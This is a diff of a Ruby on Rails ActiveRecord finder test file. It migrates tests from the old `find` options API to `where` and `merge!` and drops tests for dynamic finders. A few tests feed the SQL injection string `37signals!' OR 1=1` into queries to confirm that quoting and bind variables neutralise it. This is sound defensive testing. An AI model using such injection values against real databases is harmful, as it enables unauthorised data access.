-  def test_first_and_last_with_integer_should_use_sql_limit
+  def test_take_and_first_and_last_with_integer_should_use_sql_limit
+    assert_sql(/LIMIT 3|ROWNUM <= 3/) { Topic.take(3).entries }
     assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries }
     assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries }
   end
@@ -278,7 +259,8 @@ class FinderTest < ActiveRecord::TestCase
     assert_no_match(/LIMIT/, query.first)
   end
 
-  def test_first_and_last_with_integer_should_return_an_array
+  def test_take_and_first_and_last_with_integer_should_return_an_array
+    assert_kind_of Array, Topic.take(5)
     assert_kind_of Array, Topic.first(5)
     assert_kind_of Array, Topic.last(5)
   end
@@ -292,7 +274,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_only_some_columns
-    topic = Topic.find(1, :select => "author_name")
+    topic = Topic.all.merge!(:select => "author_name").find(1)
     assert_raise(ActiveModel::MissingAttributeError) {topic.title}
     assert_nil topic.read_attribute("title")
     assert_equal "David", topic.author_name
@@ -302,36 +284,24 @@ class FinderTest < ActiveRecord::TestCase
     assert_respond_to topic, "author_name"
   end
 
-  def test_find_on_blank_conditions
-    [nil, " ", [], {}].each do |blank|
-      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
-    end
-  end
-
-  def test_find_on_blank_bind_conditions
-    [ [""], ["",{}] ].each do |blank|
-      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
-    end
-  end
-
   def test_find_on_array_conditions
-    assert Topic.find(1, :conditions => ["approved = ?", false])
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
+    assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
   end
 
   def test_find_on_hash_conditions
-    assert Topic.find(1, :conditions => { :approved => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
+    assert Topic.all.merge!(:where => { :approved => false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
   end
 
   def test_find_on_hash_conditions_with_explicit_table_name
-    assert Topic.find(1, :conditions => { 'topics.approved' => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
+    assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
   end
 
   def test_find_on_hash_conditions_with_hashed_table_name
-    assert Topic.find(1, :conditions => {:topics => { :approved => false }})
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
+    assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
   end
 
   def test_find_with_hash_conditions_on_joined_table
@@ -341,85 +311,89 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_hash_conditions_on_joined_table_and_with_range
-    firms = DependentFirm.all :joins => :account, :conditions => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }}
+    firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
     assert_equal 1, firms.size
     assert_equal companies(:rails_core), firms.first
   end
 
   def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
     david = customers(:david)
-    assert Customer.find(david.id, :conditions => { 'customers.name' => david.name, :address => david.address })
+    assert Customer.where('customers.name' => david.name, :address => david.address).find(david.id)
     assert_raise(ActiveRecord::RecordNotFound) {
-      Customer.find(david.id, :conditions => { 'customers.name' => david.name + "1", :address => david.address })
+      Customer.where('customers.name' => david.name + "1", :address => david.address).find(david.id)
     }
   end
 
   def test_find_on_association_proxy_conditions
-    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], Comment.find_all_by_post_id(authors(:david).posts).map(&:id).sort
+    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], Comment.where(post_id: authors(:david).posts).map(&:id).sort
   end
 
   def test_find_on_hash_conditions_with_range
-    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1..2 }).map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
   end
 
   def test_find_on_hash_conditions_with_end_exclusive_range
-    assert_equal [1,2,3], Topic.find(:all, :conditions => { :id => 1..3 }).map(&:id).sort
-    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1...3 }).map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(3, :conditions => { :id => 2...3 }) }
+    assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
+    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
   end
 
   def test_find_on_hash_conditions_with_multiple_ranges
-    assert_equal [1,2,3], Comment.find(:all, :conditions => { :id => 1..3, :post_id => 1..2 }).map(&:id).sort
-    assert_equal [1], Comment.find(:all, :conditions => { :id => 1..1, :post_id => 1..10 }).map(&:id).sort
+    assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
+    assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_array_of_integers_and_ranges
+    assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
   end
 
   def test_find_on_multiple_hash_conditions
-    assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+    assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
   end
 
   def test_condition_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
+    assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
+    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
+    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
   end
 
   def test_condition_array_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
+    assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
+    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
+    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
   end
 
   def test_condition_hash_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => { :name => "37signals"})
-    assert_nil Company.find(:first, :conditions => { :name => "37signals!"})
-    assert_kind_of Time, Topic.find(:first, :conditions => {:id => 1}).written_on
+    assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
+    assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
+    assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
   end
 
   def test_hash_condition_find_malformed
     assert_raise(ActiveRecord::StatementInvalid) {
-      Company.find(:first, :conditions => { :id => 2, :dhh => true })
+      Company.all.merge!(:where => { :id => 2, :dhh => true }).first
     }
   end
 
   def test_hash_condition_find_with_escaped_characters
     Company.create("name" => "Ain't noth'n like' \#stuff")
-    assert Company.find(:first, :conditions => { :name => "Ain't noth'n like' \#stuff" })
+    assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
   end
 
   def test_hash_condition_find_with_array
-    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2] }, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2.id] }, :order => 'id asc')
+    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
+    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
+    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
   end
 
   def test_hash_condition_find_with_nil
-    topic = Topic.find(:first, :conditions => { :last_read => nil } )
+    topic = Topic.all.merge!(:where => { :last_read => nil } ).first
     assert_not_nil topic
     assert_nil topic.last_read
   end
@@ -427,42 +401,42 @@ class FinderTest < ActiveRecord::TestCase
   def test_hash_condition_find_with_aggregate_having_one_mapping
     balance = customers(:david).balance
     assert_kind_of Money, balance
-    found_customer = Customer.find(:first, :conditions => {:balance => balance})
+    found_customer = Customer.where(:balance => balance).first
     assert_equal customers(:david), found_customer
   end
 
   def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
     gps_location = customers(:david).gps_location
     assert_kind_of GpsLocation, gps_location
-    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location})
+    found_customer = Customer.where(:gps_location => gps_location).first
     assert_equal customers(:david), found_customer
   end
 
   def test_hash_condition_find_with_aggregate_having_one_mapping_and_key_value_being_attribute_value
     balance = customers(:david).balance
     assert_kind_of Money, balance
-    found_customer = Customer.find(:first, :conditions => {:balance => balance.amount})
+    found_customer = Customer.where(:balance => balance.amount).first
     assert_equal customers(:david), found_customer
   end
 
   def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_attribute_value
     gps_location = customers(:david).gps_location
     assert_kind_of GpsLocation, gps_location
-    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location.gps_location})
+    found_customer = Customer.where(:gps_location => gps_location.gps_location).first
     assert_equal customers(:david), found_customer
   end
 
   def test_hash_condition_find_with_aggregate_having_three_mappings
     address = customers(:david).address
     assert_kind_of Address, address
-    found_customer = Customer.find(:first, :conditions => {:address => address})
+    found_customer = Customer.where(:address => address).first
     assert_equal customers(:david), found_customer
   end
 
   def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
     address = customers(:david).address
     assert_kind_of Address, address
-    found_customer = Customer.find(:first, :conditions => {:address => address, :name => customers(:david).name})
+    found_customer = Customer.where(:address => address, :name => customers(:david).name).first
     assert_equal customers(:david), found_customer
   end
 
@@ -470,7 +444,7 @@ class FinderTest < ActiveRecord::TestCase
     with_env_tz 'America/New_York' do
       with_active_record_default_timezone :local do
         topic = Topic.first
-        assert_equal topic, Topic.find(:first, :conditions => ['written_on = ?', topic.written_on.getutc])
+        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
       end
     end
   end
@@ -479,7 +453,7 @@ class FinderTest < ActiveRecord::TestCase
     with_env_tz 'America/New_York' do
       with_active_record_default_timezone :local do
         topic = Topic.first
-        assert_equal topic, Topic.find(:first, :conditions => {:written_on => topic.written_on.getutc})
+        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
       end
     end
   end
@@ -488,7 +462,7 @@ class FinderTest < ActiveRecord::TestCase
     with_env_tz 'America/New_York' do
       with_active_record_default_timezone :utc do
         topic = Topic.first
-        assert_equal topic, Topic.find(:first, :conditions => ['written_on = ?', topic.written_on.getlocal])
+        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
       end
     end
   end
@@ -497,32 +471,32 @@ class FinderTest < ActiveRecord::TestCase
     with_env_tz 'America/New_York' do
       with_active_record_default_timezone :utc do
         topic = Topic.first
-        assert_equal topic, Topic.find(:first, :conditions => {:written_on => topic.written_on.getlocal})
+        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
       end
     end
   end
 
   def test_bind_variables
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = ?", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = ?", 1]).written_on
+    assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
+    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
+    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-      Company.find(:first, :conditions => ["id=? AND name = ?", 2])
+      Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
     }
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-     Company.find(:first, :conditions => ["id=?", 2, 3, 4])
+     Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
     }
   end
 
   def test_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.find(:first, :conditions => ["name = ?", "37signals' go'es agains"])
+    assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
   end
 
   def test_named_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.find(:first, :conditions => ["name = :name", {:name => "37signals' go'es agains"}])
+    assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
   end
 
   def test_bind_arity
@@ -540,10 +514,10 @@ class FinderTest < ActiveRecord::TestCase
 
     assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
 
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = :name", { :name => "37signals" }])
-    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!" }])
-    assert_nil Company.find(:first, :conditions => ["name = :name", { :name => "37signals!' OR 1=1" }])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = :id", { :id => 1 }]).written_on
+    assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
+    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
+    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
+    assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
   end
 
   class SimpleEnumerable
@@ -614,12 +588,6 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal "'something; select table'", ActiveRecord::Base.sanitize("something; select table")
   end
 
-  def test_count
-    assert_equal(0, Entrant.count(:conditions => "id > 3"))
-    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
-    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
-  end
-
   def test_count_by_sql
     assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
     assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
@@ -636,13 +604,13 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
   end
 
-  def test_find_by_one_attribute_with_order_option
-    assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
-    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
+  def test_find_by_one_attribute_that_is_an_alias
+    assert_equal topics(:first), Topic.find_by_heading("The First Topic")
+    assert_nil Topic.find_by_heading("The First Topic!")
   end
 
   def test_find_by_one_attribute_with_conditions
-    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
+    assert_equal accounts(:rails_core_account), Account.where('firm_id = ?', 6).find_by_credit_limit(50)
   end
 
   def test_find_by_one_attribute_that_is_an_aggregate
@@ -681,13 +649,13 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
     # ensure this test can run independently of order
-    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.any? { |m| m.to_s == 'find_by_credit_limit' }
-    a = Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6])
-    assert_equal a, Account.find_by_credit_limit(50, :conditions => ['firm_id = ?', 6]) # find_by_credit_limit has been cached
+    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.include?(:find_by_credit_limit)
+    a = Account.where('firm_id = ?', 6).find_by_credit_limit(50)
+    assert_equal a, Account.where('firm_id = ?', 6).find_by_credit_limit(50) # find_by_credit_limit has been cached
   end
 
   def test_find_by_one_attribute_with_several_options
-    assert_equal accounts(:unknown), Account.find_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
+    assert_equal accounts(:unknown), Account.order('id DESC').where('id != ?', 3).find_by_credit_limit(50)
   end
 
   def test_find_by_one_missing_attribute
@@ -710,334 +678,26 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
   end
 
-  def test_find_last_by_one_attribute
-    assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
-    assert_nil Topic.find_last_by_title("A title with no matches")
-  end
-
-  def test_find_last_by_invalid_method_syntax
-    assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
-    assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
-  end
-
-  def test_find_last_by_one_attribute_with_several_options
-    assert_equal accounts(:signals37), Account.find_last_by_credit_limit(50, :order => 'id DESC', :conditions => ['id != ?', 3])
-  end
-
-  def test_find_last_by_one_missing_attribute
-    assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
-  end
-
-  def test_find_last_by_two_attributes
-    topic = Topic.last
-    assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
-    assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
-  end
-
-  def test_find_last_with_limit_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.limit(2)
-    unloaded_last = scope.last
-    loaded_last = scope.all.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_last_with_limit_and_offset_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.offset(2).limit(2)
-    unloaded_last = scope.last
-    loaded_last = scope.all.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_last_with_offset_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.offset(3)
-    unloaded_last = scope.last
-    loaded_last = scope.all.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_all_by_one_attribute
-    topics = Topic.find_all_by_content("Have a nice day")
-    assert_equal 2, topics.size
-    assert topics.include?(topics(:first))
-
-    assert_equal [], Topic.find_all_by_title("The First Topic!!")
-  end
-
-  def test_find_all_by_one_attribute_which_is_a_symbol
-    topics = Topic.find_all_by_content("Have a nice day".to_sym)
-    assert_equal 2, topics.size
-    assert topics.include?(topics(:first))
-
-    assert_equal [], Topic.find_all_by_title("The First Topic!!")
-  end
-
-  def test_find_all_by_one_attribute_that_is_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance(balance)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_that_are_both_aggregates
-    balance = customers(:david).balance
-    address = customers(:david).address
-    assert_kind_of Money, balance
-    assert_kind_of Address, address
-    found_customers = Customer.find_all_by_balance_and_address(balance, address)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_two_attributes_with_one_being_an_aggregate
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_one_attribute_with_options
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
-    assert_equal topics(:first), topics.last
-
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id")
-    assert_equal topics(:first), topics.first
-  end
-
-  def test_find_all_by_array_attribute
-    assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
-  end
-
-  def test_find_all_by_boolean_attribute
-    topics = Topic.find_all_by_approved(false)
-    assert_equal 1, topics.size
-    assert topics.include?(topics(:first))
-
-    topics = Topic.find_all_by_approved(true)
-    assert_equal 3, topics.size
-    assert topics.include?(topics(:second))
-  end
-
   def test_find_by_nil_attribute
     topic = Topic.find_by_last_read nil
     assert_not_nil topic
     assert_nil topic.last_read
   end
 
-  def test_find_all_by_nil_attribute
-    topics = Topic.find_all_by_last_read nil
-    assert_equal 3, topics.size
-    assert topics.collect(&:last_read).all?(&:nil?)
-  end
-
   def test_find_by_nil_and_not_nil_attributes
     topic = Topic.find_by_last_read_and_author_name nil, "Mary"
     assert_equal "Mary", topic.author_name
   end
 
-  def test_find_all_by_nil_and_not_nil_attributes
-    topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
-    assert_equal 1, topics.size
-    assert_equal "Mary", topics[0].author_name
-  end
-
-  def test_find_or_create_from_one_attribute
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name("38signals")
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name("38signals")
-    assert sig38.persisted?
-  end
-
-  def test_find_or_create_from_two_attributes
-    number_of_topics = Topic.count
-    another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
-    assert_equal number_of_topics + 1, Topic.count
-    assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
-    assert another.persisted?
-  end
-
-  def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
-    assert created_customer.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_and_hash
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert sig38.persisted?
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance(Money.new(123))
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
-    assert created_customer.persisted?
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute_and_hash
-    number_of_customers = Customer.count
-    balance = Money.new(123)
-    name = "Elizabeth"
-    created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert created_customer.persisted?
-    assert_equal balance, created_customer.balance
-    assert_equal name, created_customer.name
-  end
-
-  def test_find_or_initialize_from_one_attribute
-    sig38 = Company.find_or_initialize_by_name("38signals")
-    assert_equal "38signals", sig38.name
-    assert !sig38.persisted?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute
-    new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
-    assert_equal 123, new_customer.balance.amount
-    assert !new_customer.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_not_set_attribute_even_when_protected
-    c = Company.find_or_initialize_by_name({:name => "Fortune 1000", :rating => 1000})
-    assert_equal "Fortune 1000", c.name
-    assert_not_equal 1000, c.rating
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_should_not_set_attribute_even_when_protected
-    c = Company.find_or_create_by_name({:name => "Fortune 1000", :rating => 1000})
-    assert_equal "Fortune 1000", c.name
-    assert_not_equal 1000, c.rating
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected
-    c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected
-    c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
-    c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
-    c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_should_set_protected_attributes_if_given_as_block
-    c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_should_set_protected_attributes_if_given_as_block
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_create_should_work_with_block_on_first_call
-	  class << Company
-		undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
-	  end
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_from_two_attributes
-    another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
-    assert_equal "Another topic", another.title
-    assert_equal "John", another.author_name
-    assert !another.persisted?
-  end
-
-  def test_find_or_initialize_from_two_attributes_but_passing_only_one
-    assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") }
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
-    new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal 123, new_customer.balance.amount
-    assert_equal "Elizabeth", new_customer.name
-    assert !new_customer.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_and_hash
-    sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-    assert !sig38.persisted?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_hash
-    balance = Money.new(123)
-    name = "Elizabeth"
-    new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
-    assert_equal balance, new_customer.balance
-    assert_equal name, new_customer.name
-    assert !new_customer.persisted?
-  end
-
   def test_find_with_bad_sql
     assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
   end
 
-  def test_find_with_invalid_params
-    assert_raise(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
-    assert_raise(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
-  end
-
-  def test_dynamic_finder_with_invalid_params
-    assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
-  end
-
   def test_find_all_with_join
